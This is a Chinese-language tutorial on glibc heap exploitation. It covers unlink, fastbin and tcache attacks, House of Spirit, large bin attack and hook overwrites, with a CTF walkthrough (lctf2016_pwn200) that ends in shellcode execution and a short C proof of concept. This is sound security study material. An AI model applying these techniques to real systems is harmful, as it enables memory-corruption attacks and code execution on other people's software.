linux 堆利用

debug glibc:对于一些复杂的堆利用,可以先用支持源码调试的 libc 完成利用,然后改偏移打题目提供的 libc 。

Unlink

假设正常情况下,每申请一个 chunk 会保存一个指向该 chunk 内存块的指针。
在这里插入图片描述
在 chunk1 伪造 fake chunk ,需要注意:

  1. 为了绕过

    if (__builtin_expect(FD->bk != P || BK->fd != P, 0))                 
        malloc_printerr(check_action, "corrupted double-linked list", P, AV);
    

    令:

    • fakeFD -> bk == P1 <=> *(&fakeFD + 0x18) == P1 <=> *fakeFD == &P1 - 0x18
    • fakeBK -> fd == P1 <=> *(&fakeBK + 0x10) == P1 <=> *fakeBK == &P1 - 0x10
  2. 为了绕过

    if (__builtin_expect(chunksize(P) != prev_size(next_chunk(P)), 0))   
        malloc_printerr("corrupted size vs. prev_size");  
    

    要将 chunk2 的 prev_size 修改成 fake chunk 的 size。

  3. 为了绕过

    if (!in_smallbin_range(chunksize_nomask(P)) &&                                 
        __builtin_expect(P->fd_nextsize != NULL, 0)) {                             
        if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0) ||               
            __builtin_expect(P->bk_nextsize->fd_nextsize != P, 0))                 
            malloc_printerr(check_action, "corrupted double-linked list (not small)", P, AV);
    

    fake chunk 大小应在 small bin 范围。

  4. 为了能使得 chunk2 与 fake chunk 合并,chunk2 的 size 的 PREV_INUSE 位 为 0 ,且 chunk2 的大小不能在 fast bin 范围。
    在这里插入图片描述
    释放 chunk2 ,向前合并 fake chunk ,使得 fake chunk 进行 unlink 操作,按如下代码执行,因此 P1 = &P1 - 0x18

    • FD->bk = BK <=> P1 = &P1 - 0x10
    • BK->fd = FD <=> P1 = &P1 - 0x18
      在这里插入图片描述

至此,整个指针数组被控制,可以实现任意地址读写。

Fastbin Attack

Fastbin Double Free

  • 先释放 chunk1,如果此时再次释放 chunk1 会触发对 double free 的检查:

    if (__builtin_expect(old == p, 0)) {
        errstr = "double free or corruption (fasttop)";
        goto errout;
    }
    

    由于只检查链表中第一个 chunk 是否是待释放的 chunk ,因此可以通过先释放 chunk2 再释放 chunk1 绕过。 在这里插入图片描述

  • 此时 malloc 获取 chunk1 等价于 UAF 漏洞。可以修改 chunk1 的 fd 指针指向特定地址,这样就可以在特定位置申请 chunk 。不过值得注意的是,由于存在如下检查,要保证申请 chunk 位置对应的 size 字段的值是正确的。

    if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0)) {
        errstr = "malloc(): memory corruption (fast)";
        errout:
        malloc_printerr(check_action, errstr, chunk2mem(victim));
        return NULL;
    }
    

House Of Spirit

如下图所示,在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址的 chunk 的目的。
在这里插入图片描述
要想构造 fastbin fake chunk,并且将其释放时,可以将其放入到对应的 fastbin 链表中,需要绕过一些必要的检测,即

  • fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。
        if (chunk_is_mmapped(p)) /* release mmapped memory. */
        {
            /* see if the dynamic brk/mmap threshold needs adjusting */
            if (!mp_.no_dyn_threshold && p->size > mp_.mmap_threshold && p->size <= DEFAULT_MMAP_THRESHOLD_MAX) {
                mp_.mmap_threshold = chunksize(p);
                mp_.trim_threshold = 2 * mp_.mmap_threshold;
                LIBC_PROBE(memory_mallopt_free_dyn_thresholds, 2,
                           mp_.mmap_threshold, mp_.trim_threshold);
            }
            munmap_chunk(p);
            return;
        }
    
        ar_ptr = arena_for_chunk(p);
        _int_free(ar_ptr, p, 0);
    
  • fake chunk 地址需要对齐 MALLOC_ALIGN_MASK
    #define MINSIZE \
        (unsigned long) (((MIN_CHUNK_SIZE + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
    #define aligned_OK(m) (((unsigned long) (m) &MALLOC_ALIGN_MASK) == 0)
    
        /* We know that each chunk is at least MINSIZE bytes in size or a
           multiple of MALLOC_ALIGNMENT.  */
        if (__glibc_unlikely(size < MINSIZE || !aligned_OK(size))) {
            errstr = "free(): invalid size";
            goto errout;
        }
    
  • fake chunk 的 size 大小需要满足对应的 fastbin 的需求。
    #define get_max_fast() global_max_fast
    
        if ((unsigned long) (size) <= (unsigned long) (get_max_fast())
    
  • fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem
            if (__builtin_expect(chunk_at_offset(p, size)->size <= 2 * SIZE_SZ, 0) ||
                __builtin_expect(chunksize(chunk_at_offset(p, size)) >= av->system_mem, 0)) {
                /* We might not have a lock at this point and concurrent modifications
                   of system_mem might have let to a false positive.  Redo the test
                   after getting the lock.  */
                if (have_lock || ({
                    assert(locked == 0);
                    mutex_lock(&av->mutex);
                    locked = 1;
                    chunk_at_offset(p, size)->size <= 2 * SIZE_SZ || chunksize(chunk_at_offset(p, size)) >= av->system_mem;
                })) {
                    errstr = "free(): invalid next size (fast)";
                    goto errout;
                }
                if (!have_lock) {
                    (void) mutex_unlock(&av->mutex);
                    locked = 0;
                }
            }
    
  • fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。
                if (__builtin_expect(old == p, 0)) {
                    errstr = "double free or corruption (fasttop)";
                    goto errout;
                }
    

pwndbg 的 try_free 命令可以检查是否能成功 free 。
在这里插入图片描述

例题:lctf2016_pwn200

本上什么保护都没开,可以直接在堆栈中部署 shellcode 。
image-20220214184043313

  • main 函数:

    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      sub_40079D(a1, a2, a3);
      sub_400A8E();
      return 0LL;
    }
    

    主要调用 sub_400A8E 函数。

  • sub_400A8E 函数:

    int sub_400A8E()
    {
      __int64 i; // [rsp+10h] [rbp-40h]
      char name[48]; // [rsp+20h] [rbp-30h] BYREF
    
      puts("who are u?");
      for ( i = 0LL; i <= 47; ++i )
      {
        read(0, &name[i], 1uLL);
        if ( name[i] == '\n' )
        {
          name[i] = 0;
          break;
        }
      }
      printf("%s, welcome to ISCC~ \n", name);
      puts("give me your id ~~?");
      get_num();
      return sub_400A29();
    }
    
  • name 存在 off-by-one 漏洞,通过输入 48 字节填充数据可以泄露栈地址 rbp 。

  • name 本身 48 字节大小可以恰好存下 pwntools 生成的 shellcode 。

  • 获取的 id 写到了栈中,这个可以作为 fake chunk 下一个 chunk 的 size 字段。

    .text:0000000000400B1F                 call    get_num
    .text:0000000000400B24                 cdqe
    .text:0000000000400B26                 mov     [rbp+id], rax
    
  • sub_400A29 函数:

    int sub_400A29()
    {
      char money[56]; // [rsp+0h] [rbp-40h] BYREF
      char *dest; // [rsp+38h] [rbp-8h]
    
      dest = (char *)malloc(0x40uLL);
      puts("give me money~");
      read(0, money, 64uLL);
      strcpy(dest, money);
      ptr = dest;
      return sub_4009C4();
    }
    
    • money 存在缓存区溢出漏洞,可以修改 dest 指针指向 fake chunk 的内存区域,进而将 ptr 修改为该值。
    • money 本身可以构造 fake chunk 的头部
  • sub_4009C4 函数:

    int sub_4009C4()
    {
      int num; // eax
    
      while ( 1 )
      {
        while ( 1 )
        {
          menu();
          num = get_num();
          if ( num != 2 )
            break;
          delete();
        }
        if ( num == 3 )
          break;
        if ( num == 1 )
          alloc();
        else
          puts("invalid choice");
      }
      return puts("good bye~");
    }
    
    • delete 函数可以释放 fake chunk ,触发 House Of Spirit 漏洞。
    • alloc 函数可以申请释放的 fake chunk ,从而修改 sub_400A29 的返回地址 为 shellcode 地址。

利用过程:

  1. name 填入 shellcode ,利用 off-by-one 漏洞获取 rbp 。注意 shellcode 不能有 \x00 字节,否则会截断无法泄露 rbp 。
  2. id 填入 fake chunk 下一个 chunk 的 size 值,填入 0x41 即可。
  3. money 构造 fake 头部,并修改 dest 指向 fake chunk 内存区域
  4. 释放 ptr 指针指向的 fake chunk ,触发 House Of Spirit 漏洞。
  5. 申请到 fake chunk ,并将 sub_400A29 返回地址修改为 shellcode 地址(rbp-0x50)。
    以上过程完成 fake chunk 构造和申请,此时栈结构如下图:
    在这里插入图片描述
  6. 退出执行 shellcode 获取 shell 。

Alloc to Stack & Arbitrary Alloc

劫持 fastbin 链表中 chunk 的 fd 指针,把 fd 指针指向我们想要分配的地址处,从而实现控制一些关键数据,比如返回地址等。

fd 指向的内存能申请出来的前提是该内存对应 size 处的值与该 fast bin 对应 size 相同。

#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)

/* Get size, ignoring use bits */
#define chunksize(p) ((p)->size & ~(SIZE_BITS))
/* offset 2 to use otherwise unindexable first 2 bins */
#define fastbin_index(sz) \
    ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

        idx = fastbin_index(nb);
        ...
/* Get size, ignoring use bits */
#define chunksize(p)         ((p)->size & ~(SIZE_BITS))

            if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0)) {
                errstr = "malloc(): memory corruption (fast)";
                errout:
                malloc_printerr(check_action, errstr, chunk2mem(victim), av);
                return NULL;
            }

由于这里的 size 不考虑低 3 比特,并且 libc 或栈地址多数是 0x7f 开头,因此可以通过截取 0x7f 然后用 0x70 的 fastbin 将该内存申请出来。
例如修改 fd 指针指向 __realloc_hook 前合适的偏移(通常是 __malloc_hook 往前 0x23 的偏移),两次 malloc(0x60) 申请出该地址的 fake chunk 实现对 __realloc_hook__malloc_hook 的控制。
在这里插入图片描述
由于 one_gadget 可能因栈结构不满足条件而失效,可以通过修改 __malloc_hookrealloc+偏移 ,修改 __realloc_hookone_gadget 改变栈结构来获取 shell
在这里插入图片描述

除了 realloc + 偏移外,还可以通过触发 malloc 报错执行 malloc 来改变栈结构。

Unsorted Bin Attack

Unsorted Bin Leak

由于 unsorted bin 是双向链表,因此在 unsorted bin 链表中必有一个节点的 fd 指针会指向 main_arena 结构体内部。如果我们可以把正确的 fd 指针 leak 出来,就可以获得一个与 main_arena 有固定偏移的地址,这个偏移可以通过调试得出。

image-20220216135528044

main_arena 是一个 struct malloc_state 类型的全局变量,是 ptmalloc 管理主分配区的唯一实例。说到全局变量,立马可以想到他会被分配在 .data 或者 .bss 等段上,那么如果我们有进程所使用的 libc.so 文件的话,我们就可以获得 main_arenalibc 基地址的偏移,从而获取 libc 的基地址。

main_arena__malloc_hook 的地址差是 0x10,而大多数的 libc 都可以直接查出 __malloc_hook 的地址,这样可以大幅减小工作量。以 pwntools 为例

main_arena_offset = ELF("libc.so.6").symbols["__malloc_hook"] + 0x10

这样就可以获得 main_arena 与基地址的偏移了。

Unsorted Bin Attack

当将一个 unsorted bin 取出的时候,会将 bck->fd 的位置写入本 Unsorted Bin 的位置。

          /* remove from unsorted list */
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

换而言之,如果我们控制了 bk 的值,我们就能将 unsorted_chunks (av) 写到任意地址。通常可以利用此方法向 global_max_fast 写入一个较大的值,从而扩大 fast bin 范围,甚至 fastbinsY 数组溢出 造成任意地址写。
在这里插入图片描述
unsorted bin attack 之后,fake chunk 被链入 unsorted bin 中,此时要想将 unsorted bin 申请出来必须通过如下检查:

  • 检查 size 是否合法
              if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
                  || __builtin_expect (chunksize_nomask (victim)
    				   > av->system_mem, 0))
                malloc_printerr ("malloc(): memory corruption");
    
  • unsorted bin chunk 的 bk 字段指向的地址必须为可写
              /* remove from unsorted list */
              unsorted_chunks (av)->bk = bck;
              bck->fd = unsorted_chunks (av);
    

后续会介绍 House of Storm 利用手法,本质是在 unsorted bin attack 的基础上利用 large bin attack 进行两处任意地址写来伪造 fake chunk 的 size 和 bk ,从而将 fake chunk 申请出来。

不过从 glibc-2.28 开始会有如下检查,此方法失效。

/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
	malloc_printerr ("malloc(): corrupted unsorted chunks 3");

Large Bin Attack (House of Fun)

Large Bin Attack 就是通过修改位于 large bin 的 chunk 的指针,然后让其它的 chunk 进入 large bin ,借助链表操作在目标地址处写入一个堆的地址。
large bin 可以利用的指针有 bk 和 bk_nextsize 。

早期的 Large Bin Attack

glibc-2.30 之前,由于 chunk 链入 large bin 的过程中缺乏对 bk 和 bk_nextsize 指针的检查,因此可以 通过修改 bk 和 bk_nextsize 指针进行两处任意地址写。

如果新加入的 chunk 不小于 large bin 中的 chunk 会进行如下操作:

          if (in_smallbin_range (size))
            {
              ...
            }
          else
            {
              victim_index = largebin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;

              /* maintain large bins in sorted order */
              if (fwd != bck)
                {
                  /* Or with inuse bit to speed comparisons */
                  size |= PREV_INUSE;
                  /* if smaller than smallest, bypass loop below */
                  assert (chunk_main_arena (bck->bk));
                  if ((unsigned long) (size)
		      < (unsigned long) chunksize_nomask (bck->bk))
                    {
                      ...
                    }
                  else
                    {
                      assert (chunk_main_arena (fwd));
                      while ((unsigned long) size < chunksize_nomask (fwd))
                        {
                          fwd = fwd->fd_nextsize;
			  assert (chunk_main_arena (fwd));
                        }

                      if ((unsigned long) size
			  == (unsigned long) chunksize_nomask (fwd))
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;
                      else
                        {
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;
                    }
                }
              else
                victim->fd_nextsize = victim->bk_nextsize = victim;
            }

          mark_bin (av, victim_index);
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;
          bck->fd = victim;

劫持一个 large bin 中一个在同等大小 chunk 中 bk 方向最靠前的 chunkbkbk_nextsize 然后释放一个比该 chunk 稍大一些的 chunk 就可以实现下图所示效果。
在这里插入图片描述

自 glibc-2.30 开始如果加入的 chunk 不是最小的则在插入链表时会对 bk 指针进行检查。

if (bck->fd != fwd)
  malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

新版本的 Large Bin Attack

如果新加入的 chunk 小于 large bin 中的 chunk 会进行如下操作:

bck = bin_at (av, victim_index);
fwd = bck->fd;
if (fwd != bck)
  {
   ...
   if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
      {
        fwd = bck;
        bck = bck->bk;

        victim->fd_nextsize = fwd->fd;
        victim->bk_nextsize = fwd->fd->bk_nextsize;
        fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
      }
   ...
  }

如果通过让新加入 large bin 小于 large bin 最小的 chunk 来绕过检查需要伪造 bk 指向的 fake chunk 的 size 字段。并且这里的 bk 是 bins 上的 bk ,不容易劫持。所以一般不会考虑利用 bk 指针进行 large bin attack 。

assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
if ((unsigned long) (size) < (unsigned long) (bck->bk->size))

与 bk 不同的是 bk_nextsize 来自的是 fwd(unsorted bin)-> fd 而不是 unsorted bin ,可以劫持。 因此如果将 large bin 中的最小的 chunk 的 bk_nextsize 指向 &target - 0x20 的位置,然后加入一个更小 chunk 就会将 target 写入新加入 chunk 的地址。

在这里插入图片描述
poc 如下:

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

int main(){
  size_t target = 0;
  
  size_t *p1 = malloc(0x428);
  malloc(0x18);
  size_t *p2 = malloc(0x418);
  malloc(0x18);
  
  free(p1);
  malloc(0x438);
  
  free(p2);
  p1[3] = (size_t)((&target)-4);
  size_t *g4 = malloc(0x438);
  
  assert((size_t)(p2-2) == target);
  
  return 0;
}

除了申请更大的 chunk 外,也可以通过申请较小的 chunk 来触发 large bin attack 。因为从 unsorted bin 中直接切割 chunk 的条件中 victim == av->last_remainder 没有满足(因为成为 last_remainder 的条件之一是大小在 small bin 范围内),最终 unsorted bin 中的 chunk 进入 large bin 中触发 large bin attack 。

          if (in_smallbin_range (nb) &&
              bck == unsorted_chunks (av) &&
              victim == av->last_remainder &&
              (unsigned long) (size) > (unsigned long) (nb + MINSIZE))

之后,程序会在 large bin 中按 size 升序寻找合适 chunk 来切割出所需的内存。由于 large bin 通过 first (bin)->bk_nextsize 访问最小的 chunk ,因此最先查找到的是刚刚进入 large bin 的 chunk 并且该 chunk 大小满足条件。之后该 chunk 会从 large bin 中取出然后从中切下所需的内存并将剩余部分放入 unsorted bin 。因此最终写入 target 的值是最开始修改了 bk_nextsize 的 chunk 的地址。

          bin = bin_at (av, idx);

          /* skip scan if empty or largest chunk is too small */
          if ((victim = first (bin)) != bin
	      && (unsigned long) chunksize_nomask (victim)
	        >= (unsigned long) (nb))
            {
              victim = victim->bk_nextsize;
              while (((unsigned long) (size = chunksize (victim)) <
                      (unsigned long) (nb)))
                victim = victim->bk_nextsize;
              ...
              unlink_chunk (av, victim);
			  ... // 切割 chunk 并将 chunk 的剩余部分放入 unsorted bin
            }

在这里插入图片描述

Tcache attack

tcache 类似 fast bin ,但是 next 指针指向的是下一个 chunk 的内存区域且检查比 fast bin 少。

绕过 tcache

如果想让释放的 chunk 不进入 tcache 有如下方法:

  • 释放不在 tcache 大小范围的 chunk。
  • 释放 7 个同样大小的 tcache 填满对应位置的 bin。
  • 如果题目限制了 free 次数那么需要通过 tcache dup 再 malloc 3 次将 counts 对应位置置为 -1 来绕过 tcache 。
  • 控制 tcache_perthread_struct 从而控制 counts 实现绕过 tcache 。

tcache poisoning

通过覆盖 tcache 中的 next,不需要伪造任何 chunk 结构即可实现 malloc 到任何地址。

House of Autm

这是一个关于 tcachebin 的技巧,用于修改 chunk presize/size,利用过程如下:

  • 申请 chunk A,大小在 fastbin 范围内。
  • 释放 A,连续释放 8 次,此时,A 的 fd 被清 0,A 也被放置到了 fastbin 里面。
  • 申请一个 chunk,将其 fd 修改为 A - 0x10,此时 tcache 中的 counts 为 6 。
  • 再申请一个 chunk,从 fastbin 里面取,但是会把 fastbin 里面剩余的一个 chunk 链入到 tcachebin 。
  • 再次分配就会分配到地址 A-0x10 处,就可以修改原来 A 的 presize/size 等。

在这里插入图片描述
glibc-2.29 开始增加了 tcache key 来检测 double free 。

glibc-2.30 之后逻辑变了,原来是判断 entry[idx]!=NULL,glibc-2.30 之后判断 count[idx] > 0

// glibc ≥ 2.30
void *
__libc_malloc (size_t bytes)
{
  //......
  MAYBE_INIT_TCACHE ();

  DIAG_PUSH_NEEDS_COMMENT;
  if (tc_idx < mp_.tcache_bins
      && tcache
      && tcache->counts[tc_idx] > 0)
    {
      return tcache_get (tc_idx);
    }
}

// glibc < 2.30
void *
__libc_malloc (size_t bytes)
{
  //......
  MAYBE_INIT_TCACHE ();

  DIAG_PUSH_NEEDS_COMMENT;
  if (tc_idx < mp_.tcache_bins
      && tcache
      && tcache->entries[tc_idx] != NULL)
    {
      return tcache_get (tc_idx);
    }
}

tcache dup

free 两次之后再 malloc 效果等同于 uaf ,可以进行 tcache poisoning 。

tcache perthread corruption

通过 tcache poisoning malloc 到 tcache_perthread_struct 就可以控制整个 tcache 。

House of IO

其实就是对 tcache_perthread_struct 结构体的攻击,想办法将其释放掉,然后再申请回来,申请回来的时候就能控制整个 tcache 的分配。

tcache house of spirit

构造一个 fake chunk free 然后再 malloc 出来从而控制该区域内存。fake chunk 只需要确保 size 在 tcache 范围即可。

tcache extend

修改 chunk 的 size 然后释放并重新申请出来就可以造成堆块重叠。

tcache key

自 glibc2.29 版本起 tcache 新增了一个 key 字段,该字段位于 chunk 的 bk 字段,值为 tcache 结构体的地址,若 free() 检测到 chunk->bk == tcache 则会遍历 tcache 查找对应链表中是否有该chunk。最新版本的一些老 glibc (如新版2.27等)也引入了该防护机制

泄露堆地址

由于 tcache 用的是 fd 字段所在地址,因此可以通过泄露 tcache key 来泄露堆地址。
在这里插入图片描述
glibc-2.34 开始,tcache 的 key 不再是 tcache_pthread_struct 结构体地址,而是一个随机数 tcache_key ,因此不能通过 key 泄露堆地址。

// glibc-2.33
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;

  e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

// glibc-2.34
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache_key;

  e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

tcache key bypass

在进行 tcache double free 之前,还需要想办法绕过 tcache key 的保护。
常见的 tcache key bypass 手段如下:

  • 清除 tcache key:通过一些 UAF 手段将该 free chunk 中记录的 tcache key清除,从而绕过该检测。
  • house of kauri:通过修改 size 使两次 free 的同一块内存进入不同的 entries 。
  • tcache stash with fastbin double free:在 fastbin 中并没有严密的 double free 检测,我们可以在填满对应的 tcache 链条后在 fastbin 中完成 double free,随后通过 stash 机制将 fastbin 中 chunk 倒回 tcache 中。此时 fsat bin double free 就变成了 tcahce double free 。
    在这里插入图片描述
  • House of Botcake
    同一个 chunk 释放到 tcache 和 unsorted bin 中。释放在 unsorted bin 的 chunk 借助堆块合并改变大小。相对于上一个方法,这个方法的好处是一次 double free 可以多次使用,因为控制同一块内存的 chunk 大小不同。
    在这里插入图片描述

fastbin_reverse_into_tcache

calloc 申请内存不会从 tcache 中获取,而是从 fast bin 中获取。取完后,会将 fast bin 中的 chunk 放入 tcache 中。如果修改 fast bin 中 chunk 的 fd 指针,则会在 fd + 0x10 地址处写入一个较大的值。
在这里插入图片描述
如果是使用 malloc 可以先消耗完 tcache 中的 chunk 然后再触发 stash 机制完成攻击。不过为了防止 target 的 fd 指向无效地址,需要在 fast bin 中预留另外 6 个 chunk 来填满 tcache 。

tcache stash unlink

从 small bin 中取出 chunk 时会对该 chunk 的 bk 指向的 chunk 的 fd 进行检查:

idx = smallbin_index (nb);
bin = bin_at (av, idx);

if ((victim = last (bin)) != bin)
  {
	bck = victim->bk;
	if (__glibc_unlikely (bck->fd != victim))
	  malloc_printerr ("malloc(): smallbin double linked list corrupted");
	set_inuse_bit_at_offset (victim, nb);
	bin->bk = bck;
	bck->fd = bin;
	...

但是最后将 small bin 中剩余 chunk 放入 tcache 直到 tcache 填满的过程却不会进行检查。

/* While bin not empty and tcache not full, copy chunks over.  */
while (tcache->counts[tc_idx] < mp_.tcache_count
	&& (tc_victim = last (bin)) != bin)
	{
	  if (tc_victim != 0)
	    {
			bck = tc_victim->bk;
			set_inuse_bit_at_offset (tc_victim, nb);
			if (av != &main_arena)
			set_non_main_arena (tc_victim);
			bin->bk = bck;
			bck->fd = bin;
			
			tcache_put (tc_victim, tc_idx);
	     }
	}

因此可以采用下面的方法进行攻击:
在这里插入图片描述

  • small bin 放两个 chunk 是为了绕过第一次从 small bin 取 chunk 时的检查。
  • tcache 放 5 个 chunk 并 calloc 申请内存既可以保证 两次 stash 将 fake chunk1 申请出来,同时确保 stash 次数不会过多造成访存错误。
  • tcache stash unlink 最终效果是任意地址 malloc 和任意地址写某个(些)值。

Heap Overlapping

这里的堆块重叠指的是指让一个堆块能控制另一个堆块的头部,而不是只能控制内存区域,这个条件比普通的 UAF 要强很多。

UAF 转 Heap Overlapping

以 fast bin attack 为例,在堆块的内存区域伪造 chunk 的 size 然后利用 UAF 部分地址写将 fd 修改到伪造的 chunk 头部,之后将 fake chunk 申请出来就可以造成堆块重叠。
在这里插入图片描述

Off by Null 转 Heap Overlapping

off by null 比 off by one 条件要弱一些,所以这里只介绍 off by null 制造堆块重叠的方法。

如果是在输入的内容后面一个字节写 0 ,即可以控制下一个 chunk 的 prev_size 和 size 最低 1 字节写 0 那么可以采用下面的方法制造堆块重叠。

如下图所示,释放 chunk1 然后修改 chunk3 的 prev_size 和 PREV_INUSE 位(顺序不能错,否则 chunk1 会与 chunk2 合并出错),之后释放 chunk3 与 chunk1 合并,从而造成堆块重叠。
在这里插入图片描述
如果不是在输入的内容后面一个字节写 0 ,即在下一个 chunk 的 size 最低 1 字节写 0 但不能控制 prev_size 时可以采用下面的构造方法。
在这里插入图片描述

如果不能释放和申请 tcache/fastbin 范围之外的 chunk 则可以构造如下结构,通过 scanf("%d", &id) 时输入过长的字符串调用产生如下调用栈来申请 unsorted bin 范围的堆块触发 malloc_consolidate 实现堆块合并,最终造成堆块重叠。

#0  __GI___libc_malloc (bytes=bytes@entry=2048) at malloc.c:3287
#1  0x00007fd0f0c1e950 in __GI___libc_scratch_buffer_grow_preserve (buffer=buffer@entry=0x7ffe7fa7f130) at scratch_buffer_grow_preserve.c:37
#2  0x00007fd0f0bdfca2 in scratch_buffer_grow_preserve (buffer=<optimized out>) at ../include/scratch_buffer.h:113
#3  char_buffer_add_slow (buffer=buffer@entry=0x7ffe7fa7f120, ch=<optimized out>) at vfscanf-internal.c:241
#4  0x00007fd0f0be04c7 in char_buffer_add (ch=<optimized out>, buffer=0x7ffe7fa7f120) at vfscanf-internal.c:261
#5  __vfscanf_internal (s=<optimized out>, format=<optimized out>, argptr=argptr@entry=0x7ffe7fa7f588, mode_flags=mode_flags@entry=2) at vfscanf-internal.c:1797
#6  0x00007fd0f0bdf495 in __isoc99_scanf (format=<optimized out>) at isoc99_scanf.c:30

在这里插入图片描述
自 glibc-2.29 起加入了 prev_size 的检查,以上方法均已失效。不过要是能够泄露堆地址可以利用 unlink 或 house of einherjar 的思想伪造 fd 和 bk 实现堆块重叠。

    /* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");
      unlink_chunk (av, p);
    }

新版本 Off by Null 不泄露堆地址构造 Heap Overlapping

方法1

首先构造两个 small bin 中的 chunk 和一个 large bin 中的 chunk 。然后将其申请出来,通过部分覆盖修改指针为下图所示。
在这里插入图片描述
之后通过 off by one 把 chunk3 改小放入 fast bin(或 off by null 进 tcache) ,然后通过部分写将 chunk3 的 fd 指向自己,此时 fake chunk 满足 house of einherjar 条件,可以实现堆块重叠。
在这里插入图片描述

方法2

首先采用如下方法伪造出 fake chunk 的 fd 和 bk 。
在这里插入图片描述
之后利用 unsorted bin 伪造 chunk1 的 bk 。
在这里插入图片描述
由于 unsorted bin 是从 bk 开始取的,不能通过 unsorted bin 来修改 chunk6 的 fd ,因此这里借助 large bin 和部分覆盖来伪造 chunk6 的 fd 。
在这里插入图片描述

至此 fake chunk 满足 house of einherjar 条件,可以实现堆块重叠。

malloc_init_state attack

malloc_consolidate 会根据 global_max_fast 是否为 0 来判断 ptmalloc 是否已经初始化,因此如果能通过任意地址写将 global_max_fast 置 0 然后触发 malloc_consolidate 就可以调用 malloc_init_state 。

// malloc_consolidate逻辑
if (get_max_fast () != 0) {
    //global_max_fast不为0,表示ptmalloc已经初始化
    //...
} else {
    //如果global_max_fast为0
    malloc_init_state(av);
    check_malloc_state(av);
    //非debug模式下该宏定义为空
}

在 malloc_init_state 中会将 top chunk 指针指向 unsorted bin

static void malloc_init_state (mstate av) {
    int i;
    mbinptr bin;
    for (i = 1; i < NBINS; ++i) {
        bin = bin_at (av, i);
        bin->fd = bin->bk = bin;
        //遍历所有的bins,初始化每个bin的空闲链表为空,即将bin的fb和bk都指向bin本身
    }
#if MORECORE_CONTIGUOUS
    if (av != &main_arena)
#endif
        set_noncontiguous (av);
        //对于非主分配区,需要设置为分配非连续虚拟地址空间
    if (av == &main_arena)
        set_max_fast (DEFAULT_MXFAST);
        //设置fastbin中最大chunk大小
        //只要该全局变量的值非0,也就意味着主分配区初始化了
    av->flags |= FASTCHUNKS_BIT;
    //标识此时分配区无fastbin
    av->top = initial_top (av);
    //#define initial_top(M) (unsorted_chunks(M))
    //#define unsorted_chunks(M) (bin_at(M, 1))
    //#define bin_at(m, i) (mbinptr)(((char *) &((m)->bins[((i) - 1) * 2])) - offsetof (struct malloc_chunk, fd))
    //暂时把top chunk初始化为unsort chunk,仅仅是初始化一个值而已,这个chunk的内容肯定不能用于top chunk来分配内存,主要原因是top chunk不属于任何bin,但ptmalloc中的一些check代码可能需要top chunk属于一个合法的bin
}

此时 top chunk 的地址为 &av->bins[0] - 0x10 ,且 size 为之前的 last_remainder 的值(通常来说堆指针都会很大),只要不断 malloc ,就可以分配到 hook 指针。
在这里插入图片描述
glibc-2.27 开始 malloc_consolidate 不再调用 malloc_init_state ,该方法失效。

各种 HOOK

对利用最终获取 shell 的方式除了写 got 表外就是覆盖函数指针。glibc 中存在很多 hook 结构可以利用。

malloc hook + realloc hook

调用代码如下,传入的参数是申请的字节数。

void *(*hook) (size_t, const void *)
  = atomic_forced_read (__malloc_hook);
if (__builtin_expect (hook != NULL, 0))
  return (*hook)(bytes, RETURN_ADDRESS (0));

可以利用 fastbin attack 写入 onegadget 来 get shell 。具体利用见前面 fastbin 的 Arbitrary Alloc 中的介绍。

glibc-2.34 起删除了堆相关 hook 。

free hook

调用代码如下,传入参数是释放的指针。

void (*hook) (void *, const void *)
  = atomic_forced_read (__free_hook);
if (__builtin_expect (hook != NULL, 0))
  {
    (*hook)(mem, RETURN_ADDRESS (0));
    return;
  }

free hook 前面没有可供截取的 size 字段(偶尔有,但是由于值一直在变因此没有成功利用),因此很难利用 fast bin attack 来攻击,不过可以利用 house of storm 或 tcache attack 攻击。
free hook 的优势是传入参数为释放的内存,因此参数可控,比如将 free hook 改为 system 然后释放带有 /bin/sh 的字符串可以稳定 get shell 。或者利用 setcontext 的 gadget 来设置寄存器来劫持程序执行流程。

glibc-2.34 起删除了堆相关 hook 。

exit hook

